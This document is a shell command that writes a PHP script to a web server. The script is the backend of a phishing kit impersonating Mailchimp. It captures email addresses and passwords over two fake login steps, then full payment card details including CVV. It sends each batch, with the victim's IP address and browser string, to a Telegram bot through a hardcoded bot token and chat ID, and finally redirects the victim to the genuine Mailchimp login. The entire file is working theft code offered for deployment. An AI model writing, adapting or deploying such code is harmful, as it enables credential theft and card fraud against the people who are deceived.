sudo tee /var/www/html/next.php > /dev/null << 'PHPEOF'
<?php
ob_start();

// Include the config (only for possible future use, not needed now)
include 'email.php';

// Telegram credentials
$botToken = "8671257627:AAHVRVsKlo8scwBG49s0uh5YHsphsKRNCKc";
$chatId   = "8440549691";

/**
 * Send a message to Telegram
 */
function sendToTelegram($text) {
    global $botToken, $chatId;
    $url = "https://api.telegram.org/bot{$botToken}/sendMessage";
    $data = [
        'chat_id' => $chatId,
        'text'    => $text,
        'parse_mode' => 'HTML'
    ];
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $data,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 10,
    ]);
    $res = curl_exec($ch);
    curl_close($ch);
    return $res;
}

// Helper to get IP and user agent
$ip = getenv("REMOTE_ADDR");
$ua = $_SERVER['HTTP_USER_AGENT'];

// -----------------------------------------------------------------
// btn1 → from index.html (email + password)
// -----------------------------------------------------------------
if (isset($_POST['btn1'])) {
    $email = $_POST['ai'] ?? '';
    $pass  = $_POST['pr'] ?? '';

    $msg = "🔐 MAILCHIMP LOGIN (Step 1)\n";
    $msg .= "Email: {$email}\n";
    $msg .= "Password: {$pass}\n";
    $msg .= "IP: {$ip}\n";
    $msg .= "User-Agent: {$ua}";

    sendToTelegram($msg);

    header("Location: ./em.html");
    exit;
}

// -----------------------------------------------------------------
// btn2 → from em.html (email + password again)
// -----------------------------------------------------------------
else if (isset($_POST['btn2'])) {
    $email = $_POST['ai'] ?? '';
    $pass  = $_POST['pr'] ?? '';

    $msg = "🔐 MAILCHIMP LOGIN (Step 2)\n";
    $msg .= "Email: {$email}\n";
    $msg .= "Password: {$pass}\n";
    $msg .= "IP: {$ip}\n";
    $msg .= "User-Agent: {$ua}";

    sendToTelegram($msg);

    header("Location: ./card.html");
    exit;
}

// -----------------------------------------------------------------
// btn3 → from card.html (card details)
// -----------------------------------------------------------------
else if (isset($_POST['btn3'])) {
    $name = $_POST['noc'] ?? '';
    $card = $_POST['cn'] ?? '';
    $exp  = $_POST['exdate'] ?? '';
    $cvv  = $_POST['cvv'] ?? '';
    $zip  = $_POST['zc'] ?? '';

    $msg = "💳 MAILCHIMP CARD DETAILS\n";
    $msg .= "Name on Card: {$name}\n";
    $msg .= "Card Number: {$card}\n";
    $msg .= "Expiry: {$exp}\n";
    $msg .= "CVV: {$cvv}\n";
    $msg .= "ZIP: {$zip}\n";
    $msg .= "IP: {$ip}\n";
    $msg .= "User-Agent: {$ua}";

    sendToTelegram($msg);

    header("Location: https://login.mailchimp.com");
    exit;
}

// If no button pressed, just redirect to index
header("Location: ./index.html");
exit;

ob_end_flush();
PHPEOF